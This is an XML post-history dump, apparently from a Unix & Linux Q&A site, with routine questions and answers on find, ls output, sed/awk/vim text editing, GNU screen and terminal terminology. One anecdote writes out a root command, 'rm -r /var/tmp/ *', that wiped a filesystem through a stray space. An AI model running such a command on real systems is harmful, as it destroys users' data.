  <row Id="8919" PostHistoryTypeId="3" PostId="4105" RevisionGUID="7fd5d99b-6416-4fc4-98c0-d5378588f5f1" CreationDate="2010-11-16T11:02:26.263" UserId="29" Text="édisköusageàérecursiveàéinodeà" />
  <row Id="8920" PostHistoryTypeId="2" PostId="4106" RevisionGUID="e284e95f-1086-420a-ac3b-df9a4d32c51c" CreationDate="2010-11-16T12:08:04.957" UserId="2359" Text="Try:&#xD;&#xA;&#xD;&#xA;    find /path/to/start/at -type f -print | wc -l&#xD;&#xA;&#xD;&#xA;as a starting point." />
  <row Id="8921" PostHistoryTypeId="2" PostId="4107" RevisionGUID="1bdcaa7b-b481-42cf-b011-62bea9e3aabc" CreationDate="2010-11-16T12:42:53.017" UserId="1339" Text="X refers usually to the X Window System, a networking protocol and a software which supports drawing application windows on your screen. Another synonym is X11.&#xD;&#xA;&#xD;&#xA;[XFree86][1] was the reference implementation of the X Window System until 2003 there was some trouble concerning the license for the new release, which was seen incompatible to the GPL from many developers.&#xD;&#xA;&#xD;&#xA;They left the XFree86 project, founded the [X.Org Foundation][2] and created X.Org, which is another implementation of the X Window System.&#xD;&#xA;&#xD;&#xA;The development of XFree86 still continues.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xfree86.org/&#xD;&#xA;  [2]: http://www.x.org/wiki/Home" />
  <row Id="8922" PostHistoryTypeId="2" PostId="4108" RevisionGUID="73bdd85e-c547-4153-90ae-7a78a58aca85" CreationDate="2010-11-16T12:45:39.717" UserId="1627" Text="X is short for [X Windows System][1], which is the architecture specification and protocol that allows Unix graphical applications (clients) to connect to a display (server) in order to display the GUI and interact with the user.&#xD;&#xA;&#xD;&#xA;[XFree(3)][2] is one of the functions defined by the X library, that is used to free memory allocations, just like [free(3)][3].&#xD;&#xA;&#xD;&#xA;Perhaps you meant [XFree86][4], which is a specific implementation of the X Windows System.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/X_Window_System&#xD;&#xA;  [2]: http://tronche.com/gui/x/xlib/display/XFree.html&#xD;&#xA;  [3]: http://linux.die.net/man/3/free&#xD;&#xA;  [4]: http://www.xfree86.org/" />
  <row Id="8923" PostHistoryTypeId="5" PostId="4108" RevisionGUID="4f8fd895-487f-4d34-821f-d0173f6092c4" CreationDate="2010-11-16T12:50:42.643" UserId="1627" Comment="deleted 1 characters in body" Text="X is short for [X Window System][1], which is the architecture specification and protocol that allows Unix graphical applications (clients) to connect to a display (server) in order to display the GUI and interact with the user.&#xD;&#xA;&#xD;&#xA;[XFree(3)][2] is one of the functions defined by the X library, that is used to free memory allocations, just like [free(3)][3].&#xD;&#xA;&#xD;&#xA;Perhaps you meant [XFree86][4], which is a specific implementation of the X Windows System.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/X_Window_System&#xD;&#xA;  [2]: http://tronche.com/gui/x/xlib/display/XFree.html&#xD;&#xA;  [3]: http://linux.die.net/man/3/free&#xD;&#xA;  [4]: http://www.xfree86.org/" />
  <row Id="8924" PostHistoryTypeId="2" PostId="4109" RevisionGUID="db8d8b0c-0997-484f-a21b-5619cbf6a246" CreationDate="2010-11-16T13:09:21.653" UserId="2200" Text="Hi, I haven't been able to find this through internet, when I make ls -l I get this:&#xD;&#xA;&#xD;&#xA;    calico@A000505:~/Documentos$ ls -l&#xD;&#xA;    total 2020&#xD;&#xA;    -rwxr-xr-x 1 calico calico    8559 2010-11-16 11:12 a.out&#xD;&#xA;    -rwxrw-rw- 1 smt    smt    2050138 2010-10-14 10:40 Java2.pdf&#xD;&#xA;    -rwxrw-rw- 1 ocv    ocv        234 2010-11-16 11:11 test.c&#xD;&#xA;&#xD;&#xA;But what does the &quot;total 2020&quot; mean? I only have 3 files so it's not the number of files or directories, and I guess it's not the size neither. So what is it?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8925" PostHistoryTypeId="1" PostId="4109" RevisionGUID="db8d8b0c-0997-484f-a21b-5619cbf6a246" CreationDate="2010-11-16T13:09:21.653" UserId="2200" Text="ls command: what does the first line mean?" />
  <row Id="8926" PostHistoryTypeId="3" PostId="4109" RevisionGUID="db8d8b0c-0997-484f-a21b-5619cbf6a246" CreationDate="2010-11-16T13:09:21.653" UserId="2200" Text="éshellàélsà" />
  <row Id="8927" PostHistoryTypeId="2" PostId="4110" RevisionGUID="8fe620af-642d-4181-a927-0b4c5f5a0292" CreationDate="2010-11-16T13:12:13.093" UserId="1627" Text="The number of 1kB blocks *used* by the files in the directory, non-recursively.&#xD;&#xA;&#xD;&#xA;Use `ls -lh` to have some more meaningful output." />
  <row Id="8928" PostHistoryTypeId="5" PostId="4107" RevisionGUID="e04b7f23-bb39-4dc7-8368-d2d25c71e7ce" CreationDate="2010-11-16T13:25:00.790" UserId="1339" Comment="added 17 characters in body" Text="X refers usually to the X Window System, a networking protocol and a software which supports drawing application windows on your screen. Another synonym for the protocol is X11.&#xD;&#xA;&#xD;&#xA;[XFree86][1] was the reference implementation of the X Window System until 2003 there was some trouble concerning the license for the new release, which was seen incompatible to the GPL from many developers.&#xD;&#xA;&#xD;&#xA;They left the XFree86 project, founded the [X.Org Foundation][2] and created X.Org, which is another implementation of the X Window System.&#xD;&#xA;&#xD;&#xA;The development of XFree86 still continues.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xfree86.org/&#xD;&#xA;  [2]: http://www.x.org/wiki/Home" />
  <row Id="8929" PostHistoryTypeId="2" PostId="4111" RevisionGUID="e8892000-1aa6-4ffe-8bbd-709c52a44fdf" CreationDate="2010-11-16T14:28:55.283" UserId="2655" Text="I want to manipulate a text-file. It contains many blocks of the form&#xD;&#xA;&#xD;&#xA;    CLASS&#xD;&#xA;       ...some stuff ...&#xD;&#xA;    END&#xD;&#xA;&#xD;&#xA;I want to duplicate each of these blocks and add and remove a line of it's content. Can I script that?" />
  <row Id="8930" PostHistoryTypeId="1" PostId="4111" RevisionGUID="e8892000-1aa6-4ffe-8bbd-709c52a44fdf" CreationDate="2010-11-16T14:28:55.283" UserId="2655" Text="How can I manipulate the content of a file, by duplicating and changing some parts?" />
  <row Id="8931" PostHistoryTypeId="3" PostId="4111" RevisionGUID="e8892000-1aa6-4ffe-8bbd-709c52a44fdf" CreationDate="2010-11-16T14:28:55.283" UserId="2655" Text="écommandölineàétextöprocessingà" />
  <row Id="8932" PostHistoryTypeId="2" PostId="4112" RevisionGUID="ea8793e6-b685-4d10-bc3f-5c9f9820c3f0" CreationDate="2010-11-16T15:15:57.917" UserId="393" Text="I mapped the &lt;kbd&gt;CapsLock&lt;/kbd&gt; to &lt;kbd&gt;ESC&lt;/kbd&gt; on the entire system. When I did it, the Capslock was on. &#xD;&#xA;&#xD;&#xA;A reboot remove the permanent state of CapsLock. It was mapped to &lt;kbd&gt;ESC&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;It wasn't really painfull but I felt stupid when I realized what I've done!" />
  <row Id="8933" PostHistoryTypeId="2" PostId="4113" RevisionGUID="c27b59e5-5208-49fd-aa79-0f4d62c36dc3" CreationDate="2010-11-16T15:23:40.907" UserId="678" Text="My switch from Debian to Ubuntu started the day I tried to delete some files and directories, meaning to type &#xD;&#xA;&#xD;&#xA;    rm -r /var/tmp/*&#xD;&#xA;Unfortunately, I inserted a space between &quot;/var/tmp/&quot; and &quot;*&quot; and even worse, I was in the root of the filesystem.&#xD;&#xA;&#xD;&#xA;    root@workstation:/# rm -r /var/tmp/ *&#xD;&#xA;Please don't try that at home!" />
  <row Id="8934" PostHistoryTypeId="2" PostId="4114" RevisionGUID="d7a023d7-a0de-441b-b75d-e038437b2ca1" CreationDate="2010-11-16T17:12:07.070" UserId="2688" Text="Well, you *can* script anything.&#xD;&#xA;&#xD;&#xA;However, if I were doing this, I would use vim macros.  (If you are not familiar with vim already, you should learn it, but otherwise ignore this)&#xD;&#xA;&#xD;&#xA;A few basic pointers:&#xD;&#xA;&#xD;&#xA;q  -- start recording a macro&#xD;&#xA;&#xD;&#xA;qx -- stop recording a macro and name it 'x'&#xD;&#xA;&#xD;&#xA;@x -- run the macro named 'x'&#xD;&#xA;&#xD;&#xA;A macro will immediately re-run whatever commands you typed during the recording session.&#xD;&#xA;&#xD;&#xA;So if you wanted a macro to duplicate a block like that type:&#xD;&#xA;&#xD;&#xA;    q          start macro&#xD;&#xA;    /CLASS     jump to next &quot;CLASS&quot;&#xD;&#xA;    V          start selecting full lines&#xD;&#xA;    /END       jump to next &quot;END&#xD;&#xA;    Y          yank selected lines (yank = copy)&#xD;&#xA;    j          scroll down one line&#xD;&#xA;    p          put (paste)&#xD;&#xA;    qd         stop recording and name the macro d&#xD;&#xA;&#xD;&#xA;There are plenty of good resources and examples out there for vim usages and vim macros.&#xD;&#xA;&#xD;&#xA;For what it's worth, sed is a sort of a command line version of vim, so you might be able to adapt what I said to sed, but I'm less familiar with it, so I can't vouch for it." />
  <row Id="8936" PostHistoryTypeId="2" PostId="4116" RevisionGUID="41da75eb-a0eb-4ee0-86ef-ffc8f40796b4" CreationDate="2010-11-16T18:01:22.023" UserId="2689" Text="When I need to open different processes or terminals that I need to check, I just open a new tab in my terminal and use different workspaces in my machine to keep everything organized.&#xD;&#xA;&#xD;&#xA;I do some web development, using a Linux machine. I've seen that a lot of people use screen to accomplish what I'm doing, but I can't see any advantage. In fact, I thought it would be worse since now I have to remember all states in screen instead of having some terminals in a workspace named &quot;terminals&quot;.&#xD;&#xA;&#xD;&#xA;What am I missing? How do you actually use screen?" />
  <row Id="8937" PostHistoryTypeId="1" PostId="4116" RevisionGUID="41da75eb-a0eb-4ee0-86ef-ffc8f40796b4" CreationDate="2010-11-16T18:01:22.023" UserId="2689" Text="Is screen useful?" />
  <row Id="8938" PostHistoryTypeId="3" PostId="4116" RevisionGUID="41da75eb-a0eb-4ee0-86ef-ffc8f40796b4" CreationDate="2010-11-16T18:01:22.023" UserId="2689" Text="éterminalàéscreenà" />
  <row Id="8939" PostHistoryTypeId="2" PostId="4117" RevisionGUID="3f3bb10a-151d-4713-ada7-1f255f0eb2f8" CreationDate="2010-11-16T18:13:19.747" UserId="382" Text="It's particularly useful when you don't have access to a graphical environment. For example, when you're on an ssh connection with no X11 forwarding." />
  <row Id="8940" PostHistoryTypeId="2" PostId="4118" RevisionGUID="bbb77f54-6815-4d6b-8a1a-914fdf99d2b3" CreationDate="2010-11-16T18:23:15.887" UserId="1207" Text="I use screen both locally and remotely. I find that I use screen because it gives me the ability to &#xD;&#xA;&#xD;&#xA; - Run multiple tasks without making multiple ssh connections to a remote server,&#xD;&#xA; - Run a long-running task in screen, detach, disconnect.  The job will still be running in screen and I can come back later, reattach, and check its progress.  &#xD;&#xA; - Have a more or less persistent workspace on a server, which is nice when I am doing something that involves multiple steps over the course of a day.&#xD;&#xA; - Receive important system information in a non-intrusive way using the screen profile customizations provided by [byobu][1].&#xD;&#xA; - &quot;Named Tabs&quot;: In screen I can give each &quot;tab&quot; in screen a name, allowing me to instantly know where to switch to.&#xD;&#xA; - Keyboard Shortcuts.  If you do most of your work at the computer, not having to use the mouse is a real plus.  I find that `screen`'s keyboard shortcuts provide a bit more power, but this may just because I've never invested in truly learning all of the GTK shortcuts.&#xD;&#xA;&#xD;&#xA;Here is a screenshot of a just started screen session using byobu and other customizations:&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/byobu&#xD;&#xA;  [2]: http://i.imgur.com/5Poco.png" />
  <row Id="8941" PostHistoryTypeId="2" PostId="4119" RevisionGUID="8f6bdbb8-3466-4d88-973e-4109f1036931" CreationDate="2010-11-16T18:23:37.283" UserId="73" Text="I know people that use screen as a tabbed console; I don't. It's very useful if you want to leave interactive programs open without actually having a console connected all the time, especially if you want to be able to access those programs from multiple computers over SSH. For example, I keep my IM client open in a screen session on a server, so I'm always online, and I can connect to it from whatever computer I happen to be on" />
  <row Id="8942" PostHistoryTypeId="2" PostId="4120" RevisionGUID="84b45049-f47b-41ab-9a92-9bad2f15b664" CreationDate="2010-11-16T18:33:28.560" UserId="382" Text="Give this a try:&#xD;&#xA;&#xD;&#xA;    find -type d -print0 | xargs -0 -I {} sh -c 'printf &quot;%s\t%s\n&quot; &quot;$(find &quot;{}&quot; -maxdepth 1 -type f | wc -l)&quot; &quot;{}&quot;'&#xD;&#xA;&#xD;&#xA;It should work fine unless filenames include newlines." />
  <row Id="8943" PostHistoryTypeId="2" PostId="4121" RevisionGUID="7036ea87-cd1b-4560-be3e-f6bad473333f" CreationDate="2010-11-16T18:36:54.930" UserId="1207" Text="The exact tool to use will depend on the specifics of the job.  If the job is only going to happen once, you might consider using a macro in `vim` or `emacs`.  If you truly want to script it, I would look into `sed`: &#xD;&#xA;&#xD;&#xA;&gt; Sed  is a stream editor.  A stream editor is used to perform basic text&#xD;&#xA;       transformations on an input stream (a file or input from  a  pipeline).&#xD;&#xA;       &#xD;&#xA;&#xD;&#xA;Again, the exact way to do this is will depend on your situation, but to add a line after a line starting with PATTERN you can do this:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(^PATTERN.*\)/\1\nTextToAdd/' file.old &gt; file.new&#xD;&#xA;&#xD;&#xA;To add a line before a line starting with PATTERN you could do something like this:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(^PATTERN.*\)/TextToAdd\n\1/' file.old &gt; file.new&#xD;&#xA;&#xD;&#xA;The trick will be to find the correct PATTERN that will catch only the lines you want.  You can combine these by doing soemthing like this:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(^PATTERN1.*\)/\1\nTextToAdd/' -e 's/\(^PATTERN2.*\)/TextToAdd\n\1/' file.old &gt; file.new&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8944" PostHistoryTypeId="5" PostId="4118" RevisionGUID="52cfe3a7-147d-44ab-af12-fd5fe76ce96c" CreationDate="2010-11-16T18:50:02.113" UserId="1207" Comment="added 36 characters in body" Text="I use screen both locally and remotely. I find that I use screen because it gives me the ability to &#xD;&#xA;&#xD;&#xA; - Run multiple tasks without making multiple ssh connections to a remote server,&#xD;&#xA; - Run a long-running task in screen, detach, disconnect.  The job will still be running in screen and I can come back later, reattach, and check its progress.  &#xD;&#xA; - Have a more or less persistent workspace on a server, which is nice when I am doing something that involves multiple steps over the course of a day.&#xD;&#xA; - Receive important system information in a non-intrusive way using the screen profile customizations provided by [byobu][1].&#xD;&#xA; - Use &quot;Named Tabs&quot;: In screen I can give each &quot;tab&quot; in screen a name, allowing me to instantly know where to switch to.&#xD;&#xA; - Use more keyboard shortcuts.  If you do most of your work at the computer, not having to use the mouse is a real plus.  I find that `screen`'s keyboard shortcuts provide a bit more power, but this may just because I've never invested in truly learning all of the GTK shortcuts.&#xD;&#xA;&#xD;&#xA;Here is a screen shot of a recently started screen session using byobu and other customizations:&#xD;&#xA;![Screen session using Byobu][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/byobu&#xD;&#xA;  [2]: http://i.imgur.com/5Poco.png" />
  <row Id="8945" PostHistoryTypeId="5" PostId="4121" RevisionGUID="3cb70dc6-09d1-4d98-ad40-b5e4a58b8734" CreationDate="2010-11-16T18:52:16.483" UserId="1207" Comment="added 101 characters in body" Text="The exact tool to use will depend on the specifics of the job.  If the job is only going to happen once, you might consider using a macro in `vim` or `emacs`.  If you truly want to script it, I would look into `sed`: &#xD;&#xA;&#xD;&#xA;&gt; Sed  is a stream editor.  A stream editor is used to perform basic text&#xD;&#xA;       transformations on an input stream (a file or input from  a  pipeline).&#xD;&#xA;       &#xD;&#xA;&#xD;&#xA;Again, the exact way to do this is will depend on your situation, but to add a line after a line starting with PATTERN you can do this:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(^PATTERN.*\)/\1\nTextToAdd/' file.old &gt; file.new&#xD;&#xA;&#xD;&#xA;To add a line before a line starting with PATTERN you could do something like this:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(^PATTERN.*\)/TextToAdd\n\1/' file.old &gt; file.new&#xD;&#xA;&#xD;&#xA;To remove a line starting with PATTERN&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(^PATTERN.*\)//' file.old &gt; file.new&#xD;&#xA;&#xD;&#xA;The trick will be to find the correct PATTERN that will catch only the lines you want.  &#xD;&#xA;&#xD;&#xA;You can combine these by doing soemthing like this:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(^PATTERN1.*\)/\1\nTextToAdd/' -e 's/\(^PATTERN2.*\)/TextToAdd\n\1/' file.old &gt; file.new&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8947" PostHistoryTypeId="2" PostId="4122" RevisionGUID="e2f5b93b-7f8a-4fe1-9b43-7db340e90358" CreationDate="2010-11-16T19:19:57.207" UserId="2688" Text="Heck yes!  Screen (along with synergy) is one of my favorite programs.  I use it every time I connect to our servers, and often just on my local machine.&#xD;&#xA;&#xD;&#xA;Beyond what others have already mentioned, screen protects you from blips in network connections.  When I'm working remotely (coffee shop, airport, etc) our VPN doesn't always play well with some networks.  The VPN will disconnect and reconnect often.  Using screen protects what you're working on from getting lost if one of these blips happens at a bad time.&#xD;&#xA;&#xD;&#xA;Regarding 'remembering all the states', it helps to set up a status bar.  In my .screenrc file, I have the following (among other stuff)&#xD;&#xA;&#xD;&#xA;    hardstatus alwayslastline&#xD;&#xA;    hardstatus string '%{= kw}[ %{= kb}%H%{= kw} ][%= %{= kw}%?%-Lw%?%{= kW}%n%f %{b}%t%{w}%?%?%{= kw}%?%+Lw%?%?%= ][ %{r}%l%{w} ]%{w}[%{r} %d/%m/%y %C%A %{w}]%{w}'&#xD;&#xA;&#xD;&#xA;This shows details about where I am, which tab I have open.  I will name my tabs based on either what server that tab is connected to, what folder I'm in, what process/script is currently running, or what file I have open." />
  <row Id="8948" PostHistoryTypeId="2" PostId="4123" RevisionGUID="ceac1ea0-68d3-4ab0-ba78-b8c042808b58" CreationDate="2010-11-16T19:24:50.670" UserId="885" Text="The natural tools for this are awk and Perl (assuming you want to script: for a once-off, the natural tool is an interactive editor). Here's an awk script that duplicates all `CLASS`…`END` blocks (no balancing supported: each `CLASS` matches the next `END`), except that `foo` lines are omitted from the second copy.&#xD;&#xA;&#xD;&#xA;    awk '&#xD;&#xA;      /^CLASS$/ { store = 1; }  # start storing&#xD;&#xA;      store &amp;&amp; ! /^foo$/ { hold = hold ORS $0; }  # if storing, maybe save line&#xD;&#xA;      /^END$/ {&#xD;&#xA;          $0 = $0 hold;  # append hold copy to current line&#xD;&#xA;          store = 0; hold = &quot;&quot;;  # end of block&#xD;&#xA;      }&#xD;&#xA;      1 { print; }  # print original line, with hold prepended if at end of block&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Here's a sed solution; don't take it too seriously. Don't expect it to behave if the `CLASS`/`END` lines are not in strict alternation.&#xD;&#xA;&#xD;&#xA;    sed -e '/^CLASS$/,/^END$/!b' \&#xD;&#xA;        -e '/^CLASS$/{' -e 'h' -e 'b' -e '}' \&#xD;&#xA;        -e '/^foo$/!H' \&#xD;&#xA;        -e '/^END$/G'&#xD;&#xA;" />
  <row Id="8949" PostHistoryTypeId="6" PostId="4104" RevisionGUID="b776b64e-a2c6-4c9b-9fb0-d4d361642bc1" CreationDate="2010-11-16T19:28:33.943" UserId="885" Comment="edited tags" Text="éxorgàéhistoryà" />
  <row Id="8950" PostHistoryTypeId="2" PostId="4124" RevisionGUID="a44b5dcf-48d7-4a95-8219-c9f2c8b01d2b" CreationDate="2010-11-16T19:32:09.677" UserId="2648" Text="Down to basics: it allows you to detach session and &quot;transfer&quot; running cli apps from one env to another (you can use the same irssi client in X and then in tty4 without closing irssi and reopening session in it). I find pretty annoying to have to reopen programs when i transfer some work and running apps from Xorg server to cli env (ttyX terminals). This way i just type&#xD;&#xA;&gt;screen -R&#xD;&#xA;&#xD;&#xA;and voila: my vim session, my moc playlist, my alpine mails, my last used dir in mc, my rss reader etc. are loaded in my terminal in a blink ov an eye without any reconnection or re-authorization." />
  <row Id="8951" PostHistoryTypeId="2" PostId="4125" RevisionGUID="cac90008-362d-4655-8fd2-92bac9dd6701" CreationDate="2010-11-16T19:58:24.303" UserId="2661" Text="And Python solution from me:&#xD;&#xA;&#xD;&#xA;    file = open('a.txt', 'r')&#xD;&#xA;    arr = []&#xD;&#xA;    tmp = []&#xD;&#xA;    remember = False&#xD;&#xA;    &#xD;&#xA;    for line in file:&#xD;&#xA;    	if &quot;CLASS&quot; in line:&#xD;&#xA;    		remember = True		# start storing lines&#xD;&#xA;    		tmp.append(line)	# we're storing lines in list&#xD;&#xA;    		continue			# go to next line&#xD;&#xA;    	if &quot;END&quot; in line:&#xD;&#xA;    		tmp.append(line)	# store line&#xD;&#xA;    		remember = False	# stop storing lines&#xD;&#xA;    		arr.append(tmp)		# add line to list&#xD;&#xA;    		tmp = []			# clear temp list&#xD;&#xA;    		continue			# go to next line&#xD;&#xA;    	if remember:&#xD;&#xA;    		tmp.append(line)	# add to list line between CLASS and END&#xD;&#xA;    file.close()&#xD;&#xA;    &#xD;&#xA;    file = open('a.txt', 'a')&#xD;&#xA;    for tmp in arr:&#xD;&#xA;    	if '   ...some stuff ...1\n' in tmp:	# we can skip &#xD;&#xA;    		continue							# whole block if we find this&#xD;&#xA;    	for i in tmp:&#xD;&#xA;    		if &quot;333&quot; in i:	# we can skip only one line &#xD;&#xA;    			continue&#xD;&#xA;    		file.write(i)&#xD;&#xA;    file.close()&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8952" PostHistoryTypeId="2" PostId="4126" RevisionGUID="06814b73-c71a-412b-bbd9-5c8ae5c58c1f" CreationDate="2010-11-16T20:06:02.873" UserId="912" Text="I think these terms almost refer to the same thing, when used loosely:&#xD;&#xA;&#xD;&#xA;  - terminal&#xD;&#xA;  - shell&#xD;&#xA;  - tty&#xD;&#xA;  - console&#xD;&#xA;&#xD;&#xA;What exactly do each of these terms refer to?" />
  <row Id="8953" PostHistoryTypeId="1" PostId="4126" RevisionGUID="06814b73-c71a-412b-bbd9-5c8ae5c58c1f" CreationDate="2010-11-16T20:06:02.873" UserId="912" Text="What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?" />
  <row Id="8954" PostHistoryTypeId="3" PostId="4126" RevisionGUID="06814b73-c71a-412b-bbd9-5c8ae5c58c1f" CreationDate="2010-11-16T20:06:02.873" UserId="912" Text="éshellàéterminalàéttyà" />
  <row Id="8955" PostHistoryTypeId="5" PostId="4125" RevisionGUID="582fc6f8-7ba0-486d-82fc-ed6d8ab383c4" CreationDate="2010-11-16T20:08:07.823" UserId="2661" Comment="added 171 characters in body" Text="And Python solution from me:&#xD;&#xA;&#xD;&#xA;    file = open('a.txt', 'r')&#xD;&#xA;    arr = []&#xD;&#xA;    tmp = []&#xD;&#xA;    remember = False&#xD;&#xA;    &#xD;&#xA;    for line in file:&#xD;&#xA;    	if &quot;CLASS&quot; in line:&#xD;&#xA;    		remember = True		# start storing lines&#xD;&#xA;    		tmp.append(line)	# we're storing lines in list&#xD;&#xA;    		continue			# go to next line&#xD;&#xA;    	if &quot;END&quot; in line:&#xD;&#xA;    		tmp.append(line)	# store line&#xD;&#xA;    		remember = False	# stop storing lines&#xD;&#xA;    		arr.append(tmp)		# add line to list&#xD;&#xA;    		tmp = []			# clear temp list&#xD;&#xA;    		continue			# go to next line&#xD;&#xA;    	if remember:&#xD;&#xA;    		tmp.append(line)	# add to list line between CLASS and END&#xD;&#xA;    file.close()&#xD;&#xA;    &#xD;&#xA;    file = open('a.txt', 'a')&#xD;&#xA;    for tmp in arr:&#xD;&#xA;    	if '   ...some stuff ...1\n' in tmp:	# we can skip &#xD;&#xA;    		continue							# whole block if we find this&#xD;&#xA;    	for i in tmp:&#xD;&#xA;    		if &quot;333&quot; in i:	# we can skip only one line &#xD;&#xA;    			continue&#xD;&#xA;    		file.write(i)&#xD;&#xA;    file.close()&#xD;&#xA;&#xD;&#xA;I think that it is easiest to understand and modify than awk version (if you don't know awk)... Btw awk is next language on my list of languages that I want to learn... ;)&#xD;&#xA;" />
  <row Id="8956" PostHistoryTypeId="5" PostId="4114" RevisionGUID="184c5d89-3e5c-49e2-bb23-948021fe6c68" CreationDate="2010-11-16T20:13:44.167" UserId="2688" Comment="added 766 characters in body" Text="Well, you *can* script anything.&#xD;&#xA;&#xD;&#xA;However, if I were doing this, I would use `vim` macros.  (If you are not familiar with `vim` already, you should learn it, but otherwise ignore this)&#xD;&#xA;&#xD;&#xA;A few basic pointers:&#xD;&#xA;&#xD;&#xA;q  -- start recording a macro&#xD;&#xA;&#xD;&#xA;qx -- stop recording a macro and name it 'x'&#xD;&#xA;&#xD;&#xA;@x -- run the macro named 'x'&#xD;&#xA;&#xD;&#xA;A macro will immediately re-run whatever commands you typed during the recording session.&#xD;&#xA;&#xD;&#xA;So if you wanted a macro to duplicate a block like that type:&#xD;&#xA;&#xD;&#xA;    q          start macro&#xD;&#xA;    /CLASS     jump to next &quot;CLASS&quot;&#xD;&#xA;    V          start selecting full lines&#xD;&#xA;    /END       jump to next &quot;END&#xD;&#xA;    Y          yank selected lines (yank = copy)&#xD;&#xA;    j          scroll down one line&#xD;&#xA;    p          put (paste)&#xD;&#xA;    qd         stop recording and name the macro d&#xD;&#xA;&#xD;&#xA;There are plenty of good resources and examples out there for vim usages and vim macros.&#xD;&#xA;&#xD;&#xA;For what it's worth, sed is a sort of a command line version of vim, so you might be able to adapt what I said to sed, but I'm less familiar with it, so I can't vouch for it.&#xD;&#xA;&#xD;&#xA;~~ edit ~~&#xD;&#xA;&#xD;&#xA;Another thing that makes this more useful is `vim`'s ability to open up multiple files.  Multiple files opened are referred to as buffers.  You activate this by having multiple filenames after `vim` (IE `vim *.txt` to open all txt files)&#xD;&#xA;&#xD;&#xA;To run a macro on multiple buffers, first open up all the files at the same time.  Then, use `:bufdo normal @x` to run the macro `x` on each buffer.&#xD;&#xA;&#xD;&#xA;Note, you must have `:w` as the last step of the macro to avoid getting stuck when it tries to switch to the next buffer if the current one isn't saved.&#xD;&#xA;&#xD;&#xA;`:bn` will take manually to the next buffer.&#xD;&#xA;&#xD;&#xA;Also, see http://stackoverflow.com/questions/1291962/replay-a-vim-macro-until-end-of-buffer for how to run a macro for each line.  Mix and match :)" />
  <row Id="8957" PostHistoryTypeId="2" PostId="4127" RevisionGUID="6ef51a4c-e92f-4b7b-a53e-9b9672ef4117" CreationDate="2010-11-16T20:31:17.460" UserId="2648" Text="Pretty &quot;Wikipedia answered question&quot;:&#xD;&#xA;&lt;br /&gt;- **tty** is a Unix command that prints to standard output the name of the file connected to standard input. The name of the program comes from teletypewriter, abbreviated &quot;TTY&quot;.&#xD;&#xA;&lt;br /&gt;- **Unix shell** is a command-line interpreter or shell that provides a traditional user interface for the Unix operating system and for Unix-like systems.&#xD;&#xA;&lt;br /&gt;- **Linux console** is a system console support in the Linux kernel. The Linux console was the first functionality of the kernel...&#xD;&#xA;&#xD;&#xA;Basically terminal and console are the same thing ;)" />
  <row Id="8958" PostHistoryTypeId="5" PostId="4106" RevisionGUID="a08d64f2-f90a-44b4-bc36-a62ee94a299a" CreationDate="2010-11-16T20:43:37.427" UserId="2359" Comment="Expanded answer based upon comment" Text="Try:&#xD;&#xA;&#xD;&#xA;    find /path/to/start/at -type f -print | wc -l&#xD;&#xA;&#xD;&#xA;as a starting point, or if you really only want to recurse through the subdirectories of a directory (and skip the files in that top level directory)&#xD;&#xA;&#xD;&#xA;    find `find /path/to/start/at -mindepth 1 -maxdepth 1 -type d -print` -type f -print | wc -l&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8959" PostHistoryTypeId="2" PostId="4128" RevisionGUID="c27d5230-2c4e-40ff-b55b-d878974146c8" CreationDate="2010-11-16T20:54:54.270" UserId="2688" Text="In the computer labs when I was in college, they had a screen saver that simulated a bunch of balls that would float back and forth.  They pulled on each with simulated gravity. &#xD;&#xA;&#xD;&#xA;Once, while I was messing around with the settings, it crashed with the error `Error: force on balls too great`" />
  <row Id="8960" PostHistoryTypeId="2" PostId="4129" RevisionGUID="4a481c0b-47d0-44f7-8a26-0e046883043c" CreationDate="2010-11-16T21:03:31.377" UserId="2688" Text="Did you directly install xfce, or did you start with something like ubuntu (which installed GNOME by default) then switch over to it?&#xD;&#xA;&#xD;&#xA;If you have, boot into your other desktop environment, and try turning off all desktop settings there." />
  <row Id="8961" PostHistoryTypeId="2" PostId="4130" RevisionGUID="b4d072bf-4d6b-4c35-837b-4252006dd499" CreationDate="2010-11-16T21:16:12.020" UserId="2688" Text="When a computer goes into hibernation mode, it saves the contents of the RAM into the swap space so that it can resume exactly where it left off when it powers back on.&#xD;&#xA;&#xD;&#xA;So, what if you are currently using more memory than you have RAM.  In this case, some data that would otherwise be in RAM is saved to swap.  &#xD;&#xA;&#xD;&#xA;An example.  A computer has 1GB of RAM and 1GB of swap space.  It is currently using all but 100MB of RAM and 500MB of swap.  Thus, it is needing to remember about 1.4GB of memory to save its state.  However, swap is only 1GB.  &#xD;&#xA;&#xD;&#xA;What will happen in this case?" />
  <row Id="8962" PostHistoryTypeId="1" PostId="4130" RevisionGUID="b4d072bf-4d6b-4c35-837b-4252006dd499" CreationDate="2010-11-16T21:16:12.020" UserId="2688" Text="What happens to data in swap when your computer hibernates?" />
  <row Id="8963" PostHistoryTypeId="3" PostId="4130" RevisionGUID="b4d072bf-4d6b-4c35-837b-4252006dd499" CreationDate="2010-11-16T21:16:12.020" UserId="2688" Text="éswapà" />
